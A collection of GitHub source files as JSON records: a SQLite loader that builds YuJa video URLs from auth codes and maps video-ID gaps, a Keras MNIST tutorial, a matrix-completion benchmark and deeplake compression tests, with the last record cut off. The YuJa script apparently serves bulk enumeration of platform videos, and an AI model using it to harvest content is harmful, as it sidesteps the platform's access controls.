{"seq_id": "16964277227", "text": "import util\nimport sqlite3\nFILE_NAME = 'yuja.sqlite'\n\n\ndef main() -> None:\n    connection = sqlite3.connect(FILE_NAME)\n    cursor = connection.cursor()\n    s = util.csv_streams().merge_stream\n\n    annotations = {\n        f: {int: \"integer\", str: \"string\"}.get(t, '')\n        for f, t in util.csv_struct.__annotations__.items()\n    }\n    annotations['video_id'] += ' primary key'\n    annotations['creation'] = 'timestamp'\n    annotations['modification'] = 'timestamp'\n\n    annotation_keys = list(annotations.keys())\n    create_names = [f'{f} {t}' for f, t in annotations.items()]\n    cursor.execute(\"DROP TABLE yuja\")\n    cursor.execute(f'CREATE TABLE IF NOT EXISTS yuja ({\",\".join(create_names)})')\n    cursor.execute('''\n    CREATE VIEW IF NOT EXISTS url_view as\n    select video_id,title,\n    (\n        \"https://\"||\n        coalesce(nullif(institution,\"\"),\"my\")||\n        \".yuja.com/P/Data/VideoSource?video=/P/VideoCaptures/a/1/\"||\n        broadcast_id||\n        \"/\"||\n        auth_code||\n        \"&videoPID=\"||\n        video_id||\n        \"&mp4Only=false\"\n    ) as url\n    from yuja\n    ''')\n    cursor.execute('''\n    CREATE VIEW IF NOT EXISTS \"video_id_gaps\" as\n    select coalesce(lag(video_id) over (order by video_id),-1)+1 as start_id,video_id as stop_id\n    from yuja\n    order by stop_id-start_id desc\n    ''')\n    insert_records = f\"REPLACE INTO yuja({','.join(annotation_keys)}) VALUES ({','.join(f':{n}' for n in annotation_keys)})\"\n    cursor.executemany(insert_records, s)\n    connection.commit()\n    connection.close()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "Windows81/Screwdja-YuJa", "sub_path": "sqlite.py", "file_name": "sqlite.py", "file_ext": "py", "file_size_in_byte": 1576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 7, "usage_type": "call"}, {"api_name": "util.csv_streams", "line_number": 9, "usage_type": "call"}, {"api_name": "util.csv_struct.__annotations__.items", "line_number": 13, "usage_type": "call"}, {"api_name": "util.csv_struct", "line_number": 13, "usage_type": "attribute"}]}
{"seq_id": "37423567230", "text": "#https://www.kaggle.com/benhamner/popular-datasets-over-time\n\n# --------------------\n# Importando librerias\n# --------------------\n\n# Keras model module\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.utils import np_utils\n# MNIST data\nfrom keras.datasets import mnist\n# Plotter\nfrom matplotlib import pyplot\n\n# ----------------------\n# Cargando dataset MNIST\n# ----------------------\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\n# /Applications/Python 3.6/Install Certificates.command\n# conda update openssl\n# Load pre-shuffled MNIST data into train and test sets\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n\n# Plotting first sample of X_train\npyplot.imshow(X_train[0], cmap='gray')\n\nprint(X_train.shape)\nprint(X_test.shape)\n\n# -------------------------------------------\n# Preprocesando la data de entrada para Keras\n# -------------------------------------------\n# Reshape input data\nX_train = X_train.reshape(X_train.shape[0], img_rows, img_cols, 1)\nX_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1)\n\nprint(X_train.shape)\nprint(X_test.shape)\n\nprint (\"Data sin normalizar:\\n\", X_train[0][14])\n\n# Normalizando la data --> decimal y el el rango de 0-1\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\nX_train /= 255\nX_test /= 255\nprint (\"Data Normalizada:\\n\", X_train[0][14])\n\n# ----------------------------------------\n# Categorizando las salidas: Clases de 0-9\n# ----------------------------------------\n\n# Preprocess class labels\n# Convert 1-dimensional class arrays to 10-dimensional class matrices\ny_train_cat = np_utils.to_categorical(y_train, 10)\ny_test_cat = np_utils.to_categorical(y_test, 10)\n\nprint (y_train[0], \" categorizado es:\\n \", y_train_cat[0])\n\n# --------------------------------------\n# Definiendo la Arquitectura del modelo\n# --------------------------------------\n\n#Declare Sequential model\nmodel = Sequential()\n\n\n# CNN input layer\nmodel.add(Conv2D(filters=32, kernel_size=(3, 3), padding=\"same\", strides=(1,1), input_shape = (img_rows, img_cols, 1)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.25))\n\n# Adding more CNN layers\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), padding=\"valid\", strides=(1,1)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.25))\n\n# Adding more CNN layers\nmodel.add(Conv2D(filters=128, kernel_size=(3, 3), padding=\"valid\", strides=(1,1)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.25))\n\n# Fully connected Dense layers\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(64, activation='relu'))\nmodel.add(Dense(10, activation='softmax'))\n\nmodel.summary()\n\n# --------------------------------\n# Compilando y entenando el modelo\n# --------------------------------\n\n# Compile model\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n\n# Fit Keras model\nmodel.fit(X_train, y_train_cat, batch_size=128, epochs=5, verbose=1)\n\n# -------------------\n# Evaluando el modelo\n# -------------------\n\n# Evaluate Keras model\nprint('\\nEvaluando el modelo:')\n\nscore = model.evaluate(X_test, y_test_cat, verbose=1)\nprint('\\nTest loss:', score[0])\nprint('Test accuracy:', score[1])\n\n\n# ----------------------------------------------------\n# Ejercicio: Predecir una imagen creada por el usuario\n# ----------------------------------------------------\nfrom keras.preprocessing import image\ntest_image_path = './images/numberTest2.jpg'\ntest_image_original = image.load_img(test_image_path)\npyplot.imshow(test_image_original)\npyplot.show()\n\ntest_image = image.load_img(test_image_path,target_size = (28, 28), grayscale = True)\ntest_image = image.img_to_array(test_image)\ntest_image = test_image.reshape(1,28,28,1)\ntest_image = test_image.astype('float32')\ntest_image /= 255\n\npredicions = model.predict(test_image)\nprint(\"\\nPredictions:\\n\", predicions)\n\npredicion_class = model.predict_classes(test_image)\nprint(\"\\nPredictions Class: \", predicion_class)\n", "repo_name": "mirkorodriguez/SUPERVISED-LEARNING_algorithms", "sub_path": "ArtificialNeuralNetworks/ConvolutionalNeuralNetworks/ImageClassification/mnist/cnn_mnist.py", "file_name": "cnn_mnist.py", "file_ext": "py", "file_size_in_byte": 4146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "keras.datasets.mnist.load_data", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.datasets.mnist", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 60, "usage_type": "name"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 61, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 80, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 92, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 93, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 127, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 131, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 131, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 132, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 132, "usage_type": "name"}]}
{"seq_id": "31681990840", "text": "import time\nimport sys\nimport random\n\nfrom css_matrix_completion.errors.errors import rmse_omega, nmae_omega, rmse, snr\n\nfrom css_matrix_completion.css import uniform\nfrom css_matrix_completion.cssmc import CSSMC, CSSMC_N\nfrom css_matrix_completion.mc.soft_impute import SoftImpute, SoftImpute_N\nfrom css_matrix_completion.mc.nn_completion import NuclearNormMin\nfrom css_matrix_completion.transform import cx, cx_torch\nfrom utils.data_generation import create_rank_k_dataset\nfrom utils.linear_algebra import matrix_coherence\nfrom utils.log import log\nimport numpy as np\nfrom functools import wraps\nfrom fancyimpute import SoftImpute, IterativeSVD, MatrixFactorization\n\nn_rows = 300\nn_cols = 1000\n\nranks = [5, 10]\n\nn_trials = 20\n\nc_rates = [i * 0.1 for i in range(1, 10)]\nc_rates = [0.1, 0.2, 0.3]\n# missing_rates = [i * 0.1 for i in range(1, 10)]\nmissing_rates = [0.8]\nlib = 'numpy'\n\nlog_name = 'synthetic_benchmark_all'\ndef evaluate(M_filled, M, missing_mask):\n    rmse_omega_ = rmse_omega(M_filled, M, missing_mask, numlib=lib)\n    nmae_omega_ = nmae_omega(M_filled, M, missing_mask, numlib=lib)\n    rmse_ = rmse(M_filled, M, numlib=lib)\n    success = int(rmse_ <= 10 ** -2)\n    snr_ = snr(M_filled, M, numlib=lib)\n    return [rmse_omega_, nmae_omega_, success, snr_]\n\n\nfor trial in range(20):\n    print(f'Starting trial {trial}')\n    for fraction_missing in missing_rates:\n        for rank in ranks:\n            print(f'Rank {rank}')\n            M, M_incomplete, omega, ok_mask = create_rank_k_dataset(n_rows=n_rows, n_cols=n_cols, k=rank,\n                                                                    gaussian=True,\n                                                                    fraction_missing=fraction_missing,\n                                                                    noise=0.3)\n            M_incomplete_tmp = np.copy(M_incomplete)\n            M_incomplete_tmp[~ok_mask] = 0\n            lambda_max = SoftImpute_N._max_singular_value(\n                M_incomplete_tmp)\n\n            missing_mask = ~ok_mask\n            base_log_data = [trial, n_rows, n_cols, rank, fraction_missing]\n            for c_rate in c_rates:\n                n_selected_cols = int(c_rate * n_cols)\n                solver = CSSMC_N(col_number=n_selected_cols, solver=NuclearNormMin, col_select=uniform,\n                                 transform=cx_torch,\n                                 fill_method='zero')\n                solver.get_cols_matrix(M_incomplete, np.isnan(M_incomplete))\n                C = M[:, solver.cols_indices]\n                mc = matrix_coherence(C)\n                start = time.perf_counter()\n                M_filled = solver.fit_transform(M_incomplete)\n                elapsed_time = time.perf_counter() - start\n                print(elapsed_time)\n                try:\n                    metrics = evaluate(M_filled, M, missing_mask)\n                except:\n                    metrics = evaluate(M_filled.numpy(), M, missing_mask)\n                print(metrics)\n                log_data = base_log_data + [c_rate, elapsed_time, mc, f'CSNN_{c_rate}'] + metrics\n                log(log_data, file_name=log_name)\n\n            # max_ranks = [3, 5, 10, 15, 20]\n            # for alg in [MatrixFactorization, IterativeSVD]:\n            #     if isinstance(alg(),  MatrixFactorization):\n            #         True\n            #\n            #     for r in max_ranks:\n            #         solver = alg(rank=r, verbose=False)\n            #         start = time.perf_counter()\n            #         M_filled = solver.fit_transform(M_incomplete)\n            #         elapsed_time = time.perf_counter() - start\n            #         metrics = evaluate(M_filled, M, missing_mask)\n            #         log_data = base_log_data + [c_rate, elapsed_time, mc, alg.__name__] + metrics\n            #         log(log_data, file_name=log_name)\n\n            # lambda_grid = np.linspace(0.1, lambda_max - 1, 10)\n            # for alg in [SoftImpute_N]:\n            #     for lam in lambda_grid:\n            #         solver = alg(lambda_=lam)\n            #         start = time.perf_counter()\n            #         M_filled = solver.fit_transform(M_incomplete, missing_mask=~ok_mask)\n            #         elapsed_time = time.perf_counter() - start\n            #         metrics = evaluate(M_filled, M, missing_mask)\n            #         log_data = base_log_data + [c_rate, elapsed_time, mc, 'PGD'] + metrics\n            #         log(log_data, file_name=log_name)\n\n            solver = NuclearNormMin(M_incomplete)\n            start = time.perf_counter()\n            M_filled = solver.fit_transform(M_incomplete, missing_mask)\n            elapsed_time = time.perf_counter() - start\n            rmse_omega_ = rmse_omega(M_filled, M, missing_mask, numlib=lib)\n            nmae_omega_ = nmae_omega(M_filled, M, missing_mask, numlib=lib)\n            rmse_ = rmse(M_filled, M, numlib=lib)\n            print(rmse_, elapsed_time)\n            snr_ = snr(M_filled, M, numlib=lib)\n            success = int(rmse_ <= 10 ** -2)\n            log_data = base_log_data + [1, elapsed_time, rmse_, rmse_omega_,\n                                        nmae_omega_, snr_, success, mc, 'NN']\n\n            log(log_data, file_name=log_name)\n\nprint('Finished benchmark')\n", "repo_name": "akrajewska/css-matrix-completion", "sub_path": "examples/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 5256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "css_matrix_completion.errors.errors.rmse_omega", "line_number": 34, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.nmae_omega", "line_number": 35, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.rmse", "line_number": 36, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.snr", "line_number": 38, "usage_type": "call"}, {"api_name": "utils.data_generation.create_rank_k_dataset", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 51, "usage_type": "call"}, {"api_name": "css_matrix_completion.mc.soft_impute.SoftImpute_N._max_singular_value", "line_number": 53, "usage_type": "call"}, {"api_name": "css_matrix_completion.mc.soft_impute.SoftImpute_N", "line_number": 53, "usage_type": "name"}, {"api_name": "css_matrix_completion.cssmc.CSSMC_N", "line_number": 60, "usage_type": "call"}, {"api_name": "css_matrix_completion.mc.nn_completion.NuclearNormMin", "line_number": 60, "usage_type": "name"}, {"api_name": "css_matrix_completion.css.uniform", "line_number": 60, "usage_type": "name"}, {"api_name": "css_matrix_completion.transform.cx_torch", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 63, "usage_type": "call"}, {"api_name": "utils.linear_algebra.matrix_coherence", "line_number": 65, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 66, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.log.log", "line_number": 76, "usage_type": "call"}, {"api_name": "css_matrix_completion.mc.nn_completion.NuclearNormMin", "line_number": 103, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 104, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 106, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.rmse_omega", "line_number": 107, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.nmae_omega", "line_number": 108, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.rmse", "line_number": 109, "usage_type": "call"}, {"api_name": "css_matrix_completion.errors.errors.snr", "line_number": 111, "usage_type": "call"}, {"api_name": "utils.log.log", "line_number": 116, "usage_type": "call"}]}
{"seq_id": "33342584378", "text": "import os\nimport sys\nfrom deeplake.constants import KB, MB\nfrom deeplake.util.exceptions import (\n    SampleAppendError,\n    TensorMetaMissingRequiredValue,\n    TensorMetaMutuallyExclusiveKeysError,\n    UnsupportedCompressionError,\n)\nimport pytest\nfrom deeplake.core.tensor import Tensor\nfrom deeplake.tests.common import TENSOR_KEY, assert_images_close\nimport numpy as np\n\nimport deeplake\nfrom deeplake.core.dataset import Dataset\n\n\ndef _populate_compressed_samples(tensor: Tensor, cat_path, flower_path, count=1):\n    for _ in range(count):\n        tensor.append(deeplake.read(cat_path))\n        tensor.append(deeplake.read(flower_path))\n        tensor.append(np.ones((100, 100, 4), dtype=\"uint8\"))\n        tensor.append(\n            np.ones((100, 100, 4), dtype=int).tolist()\n        )  # test safe downcasting of python scalars\n\n        tensor.extend(\n            [\n                deeplake.read(flower_path),\n                deeplake.read(cat_path),\n            ]\n        )\n\n\n@pytest.mark.slow\ndef test_populate_compressed_samples(local_ds, cat_path, flower_path):\n    images = local_ds.create_tensor(\n        TENSOR_KEY,\n        htype=\"image\",\n        sample_compression=\"png\",\n        max_chunk_size=2 * MB,\n        tiling_threshold=1 * MB,\n    )\n\n    assert images.meta.dtype == None\n    assert images.meta.sample_compression == \"png\"\n\n    _populate_compressed_samples(images, cat_path, flower_path)\n\n    expected_shapes = [\n        (900, 900, 3),\n        (513, 464, 4),\n        (100, 100, 4),\n        (100, 100, 4),\n        (513, 464, 4),\n        (900, 900, 3),\n    ]\n\n    assert len(images) == 6\n\n    for img, exp_shape in zip(images, expected_shapes):\n        arr = img.numpy()\n        assert arr.shape == exp_shape\n        assert arr.dtype == \"uint8\"\n\n    assert images.shape == (6, None, None, None)\n    assert images.shape_interval.lower == (6, 100, 100, 3)\n    assert images.shape_interval.upper == (6, 900, 900, 4)\n\n\n@pytest.mark.slow\ndef test_iterate_compressed_samples(local_ds, cat_path, flower_path):\n    images = local_ds.create_tensor(TENSOR_KEY, htype=\"image\", sample_compression=\"png\")\n\n    assert images.meta.dtype == None\n    assert images.meta.sample_compression == \"png\"\n\n    _populate_compressed_samples(images, cat_path, flower_path)\n\n    expected_shapes = [\n        (900, 900, 3),\n        (513, 464, 4),\n        (100, 100, 4),\n        (100, 100, 4),\n        (513, 464, 4),\n        (900, 900, 3),\n    ]\n\n    assert len(images) == len(expected_shapes)\n    for image, expected_shape in zip(images, expected_shapes):\n        x = image.numpy()\n\n        assert (\n            type(x) == np.ndarray\n        ), \"Check is necessary in case a `PIL` object is returned instead of an array.\"\n        assert x.shape == expected_shape\n        assert x.dtype == \"uint8\"\n\n\ndef test_uncompressed(local_ds):\n    images = local_ds.create_tensor(TENSOR_KEY, sample_compression=None)\n\n    images.append(np.ones((100, 100, 100)))\n    images.extend(np.ones((3, 101, 2, 1)))\n    local_ds.clear_cache()\n    np.testing.assert_array_equal(images[0].numpy(), np.ones((100, 100, 100)))\n    np.testing.assert_array_equal(images[1:4].numpy(), np.ones((3, 101, 2, 1)))\n\n\ndef test_byte_sample_compression(memory_ds):\n    with memory_ds as ds:\n        ds.create_tensor(\"xyz\", sample_compression=\"lz4\")\n        for i in range(10):\n            ds.xyz.append(i * np.ones((100, 100, 100)))\n\n    for i in range(10):\n        np.testing.assert_array_equal(ds.xyz[i].numpy(), i * np.ones((100, 100, 100)))\n\n\n@pytest.mark.xfail(raises=SampleAppendError, strict=True)\n@pytest.mark.parametrize(\n    \"bad_shape\",\n    [\n        # raises OSError: cannot write mode LA as JPEG\n        (100, 100, 2),\n        # raises OSError: cannot write mode RGBA as JPE\n        (100, 100, 4),\n    ],\n)\ndef test_jpeg_bad_shapes(memory_ds: Dataset, bad_shape):\n    # jpeg allowed shapes:\n    # ---------------------\n    # (100) works!\n    # (100,) works!\n    # (100, 100) works!\n    # (100, 100, 1) works!\n    # (100, 100, 2) raises   | OSError: cannot write mode LA as JPEG\n    # (100, 100, 3) works!\n    # (100, 100, 4) raises   | OSError: cannot write mode RGBA as JPEG\n    # (100, 100, 5) raises   | TypeError: Cannot handle this data type: (1, 1, 5), |u1\n    # (100, 100, 100) raises | TypeError: Cannot handle this data type: (1, 1, 100), |u1\n\n    tensor = memory_ds.create_tensor(TENSOR_KEY, sample_compression=\"jpeg\")\n    tensor.append(np.ones(bad_shape, dtype=\"uint8\"))\n\n\ndef test_compression_aliases(memory_ds: Dataset):\n    tensor = memory_ds.create_tensor(\"jpeg_tensor\", sample_compression=\"jpeg\")\n    assert tensor.meta.sample_compression == \"jpeg\"\n\n    tensor = memory_ds.create_tensor(\"jpg_tensor\", sample_compression=\"jpg\")\n    assert tensor.meta.sample_compression == \"jpeg\"\n\n    tensor = memory_ds.create_tensor(\"tiff_tensor\", sample_compression=\"tiff\")\n    assert tensor.meta.sample_compression == \"tiff\"\n\n    tensor = memory_ds.create_tensor(\"tif_tensor\", sample_compression=\"tif\")\n    assert tensor.meta.sample_compression == \"tiff\"\n\n\n@pytest.mark.xfail(raises=UnsupportedCompressionError, strict=True)\ndef test_unsupported_compression(memory_ds: Dataset):\n    memory_ds.create_tensor(TENSOR_KEY, sample_compression=\"bad_compression\")\n    # TODO: same tests but with `dtype`\n\n\n@pytest.mark.xfail(raises=TensorMetaMissingRequiredValue, strict=True)\ndef test_missing_sample_compression_for_image(memory_ds: Dataset):\n    memory_ds.create_tensor(\"tensor\", htype=\"image\")\n\n\n@pytest.mark.xfail(raises=TensorMetaMutuallyExclusiveKeysError, strict=True)\ndef test_sample_chunk_compression_mutually_exclusive(memory_ds: Dataset):\n    memory_ds.create_tensor(\n        \"tensor\", htype=\"image\", sample_compression=\"png\", chunk_compression=\"lz4\"\n    )\n\n\n@pytest.mark.slow\ndef test_chunkwise_compression(memory_ds, cat_path, flower_path):\n    ds = memory_ds\n    im_ct = 5\n    chunk_size = 600 * KB\n    with ds:\n        images = ds.create_tensor(\n            \"images\",\n            htype=\"image\",\n            chunk_compression=\"jpg\",\n            max_chunk_size=chunk_size,\n            tiling_threshold=chunk_size,\n        )\n        images.extend([deeplake.read(cat_path)] * im_ct)\n        expected_arr = np.random.randint(0, 10, (500, 450, 3)).astype(\"uint8\")\n        images.append(expected_arr)\n        images.extend([deeplake.read(cat_path)] * im_ct)\n        expected_img = np.array(deeplake.read(cat_path))\n    ds.clear_cache()\n    for i, img in enumerate(images):\n        if i == im_ct:\n            assert_images_close(img.numpy(), expected_arr)\n        else:\n            assert_images_close(img.numpy(), expected_img)\n    with ds:\n        images = ds.create_tensor(\n            \"images2\",\n            htype=\"image\",\n            chunk_compression=\"png\",\n            max_chunk_size=chunk_size,\n            tiling_threshold=chunk_size,\n        )\n        images.extend([deeplake.read(flower_path)] * im_ct)\n        expected_arr = np.random.randint(0, 256, (200, 250, 4)).astype(\"uint8\")\n        images.append(expected_arr)\n        images.extend([deeplake.read(flower_path)] * im_ct)\n        expected_img = np.array(deeplake.read(flower_path))\n    ds.clear_cache()\n    for i, img in enumerate(images):\n        if i == im_ct:\n            assert_images_close(img.numpy(), expected_arr)\n        else:\n            assert_images_close(img.numpy(), expected_img)\n    with ds:\n        labels = ds.create_tensor(\n            \"labels\",\n            chunk_compression=\"lz4\",\n            max_chunk_size=chunk_size,\n            tiling_threshold=chunk_size,\n        )\n        data = [\n            np.random.randint(0, 256, (150, 150)).astype(\"uint8\") for _ in range(20)\n        ]\n        labels.extend(data)\n    ds.clear_cache()\n    for row, label in zip(data, labels):\n        np.testing.assert_array_equal(row, label.numpy())\n\n    data = np.random.randint(0, 256, (5, 1500, 1500)).astype(\"uint8\")\n    with ds:\n        ds.labels.extend(data)  # type: ignore\n    ds.clear_cache()\n    assert len(ds.labels) == 25\n    for i in range(5):\n        np.testing.assert_array_equal(data[i], ds.labels[20 + i].numpy())\n\n\ndef _decompress_audio_helper(path):\n    import av  # type: ignore\n\n    container = av.open(path)\n    for frame in container.decode(audio=0):\n        if not frame.is_corrupt:\n            audio = frame.to_ndarray().astype(\"<f4\")\n            break\n\n    for frame in container.decode(audio=0):\n        audio = np.concatenate((audio, frame.to_ndarray().astype(\"<f4\")), axis=1)\n\n    return np.transpose(audio)\n\n\n@pytest.mark.skipif(\n    os.name == \"nt\" and sys.version_info < (3, 7), reason=\"requires python 3.7 or above\"\n)\n@pytest.mark.parametrize(\"compression\", deeplake.compression.AUDIO_COMPRESSIONS)\ndef test_audio(local_ds, compression, audio_paths):\n    path = audio_paths[compression]\n    arr = _decompress_audio_helper(path)\n    local_ds.create_tensor(\"audio\", htype=\"audio\", sample_compression=compression)\n    with local_ds:\n        for _ in range(10):\n            local_ds.audio.append(deeplake.read(path))  # type: ignore\n    for i in range(10):\n        decompressed = local_ds.audio[i].numpy()\n        np.testing.assert_array_equal(decompressed[: len(arr), :], arr)  # type: ignore\n\n\n@pytest.mark.slow\ndef test_exif(memory_ds, compressed_image_paths):\n    ds = memory_ds\n    with ds:\n        ds.create_tensor(\"images\", htype=\"image\", sample_compression=\"jpeg\")\n        for path in compressed_image_paths[\"jpeg\"]:\n            ds.images.append(deeplake.read(path))\n    for image in ds.images:\n        assert isinstance(image.sample_info[\"exif\"], dict), (\n            type(image.sample_info[\"exif\"]),\n            path,\n        )\n\n\ndef test_forced_htypes(\n    memory_ds, grayscale_image_paths, color_image_paths, flower_path\n):\n    with memory_ds as ds:\n        gray = ds.create_tensor(\"gray\", htype=\"image.gray\", sample_compression=\"jpeg\")\n        rgb = ds.create_tensor(\"rgb\", htype=\"image.rgb\", sample_compression=\"jpeg\")\n\n        gray.append(deeplake.read(grayscale_image_paths[\"jpeg\"]))\n        gray.append(deeplake.read(color_image_paths[\"jpeg\"]))\n        gray.append(deeplake.read(flower_path))\n        gray.extend(np.ones((4, 10, 10, 3), dtype=np.uint8))\n        gray.extend(\n            [\n                deeplake.read(color_image_paths[\"jpeg\"]),\n                np.ones((10, 10), dtype=np.uint8),\n            ]\n        )\n\n        rgb.append(deeplake.read(grayscale_image_paths[\"jpeg\"]))\n        rgb.append(deeplake.read(color_image_paths[\"jpeg\"]))\n        rgb.append(deeplake.read(flower_path))\n        rgb.extend(np.ones((4, 10, 10), dtype=np.uint8))\n        rgb.extend(\n            [\n                deeplake.read(grayscale_image_paths[\"jpeg\"]),\n                np.ones((10, 10, 3), dtype=np.uint8),\n            ]\n        )\n\n        gray_png = ds.create_tensor(\n            \"gray_png\", htype=\"image.gray\", sample_compression=\"png\"\n        )\n        rgb_png = ds.create_tensor(\n            \"rgb_png\", htype=\"image.rgb\", sample_compression=\"png\"\n        )\n\n        gray_png.append(deeplake.read(flower_path))\n        gray_png.append(np.ones((10, 10, 4), dtype=np.uint8))\n\n        rgb_png.append(deeplake.read(flower_path))\n        rgb_png.append(np.ones((10, 10, 4), dtype=np.uint8))\n\n        with pytest.raises(SampleAppendError):\n            rgb_png.append(1)\n\n        with pytest.raises(TensorMetaMissingRequiredValue):\n            ds.create_tensor(\"abc\", htype=\"image.rgb\")\n\n        with pytest.raises(TensorMetaMissingRequiredValue):\n            ds.create_tensor(\"abc\", htype=\"image.gray\")\n\n    for sample in gray:\n        assert len(sample.shape) == 3\n\n    for sample in rgb:\n        assert len(sample.shape) == 3\n\n    for sample in gray_png:\n        assert len(sample.shape) == 3\n\n    for sample in rgb_png:\n        assert len(sample.shape) == 3\n", "repo_name": "activeloopai/deeplake", "sub_path": "deeplake/api/tests/test_api_with_compression.py", "file_name": "test_api_with_compression.py", "file_ext": "py", "file_size_in_byte": 11734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7141, "dataset": "github-code", "pt": "81", "api": [{"api_name": "deeplake.core.tensor.Tensor", "line_number": 19, "usage_type": "name"}, {"api_name": "deeplake.read", "line_number": 21, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 25, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 30, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 31, "usage_type": "call"}, {"api_name": "deeplake.tests.common.TENSOR_KEY", "line_number": 39, "usage_type": "argument"}, {"api_name": "deeplake.constants.MB", "line_number": 42, "usage_type": "name"}, {"api_name": "deeplake.constants.MB", "line_number": 43, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 36, "usage_type": "attribute"}, {"api_name": "deeplake.tests.common.TENSOR_KEY", "line_number": 74, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 72, "usage_type": "attribute"}, {"api_name": "deeplake.tests.common.TENSOR_KEY", "line_number": 102, "usage_type": "argument"}, {"api_name": "numpy.ones", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 118, "usage_type": "call"}, {"api_name": 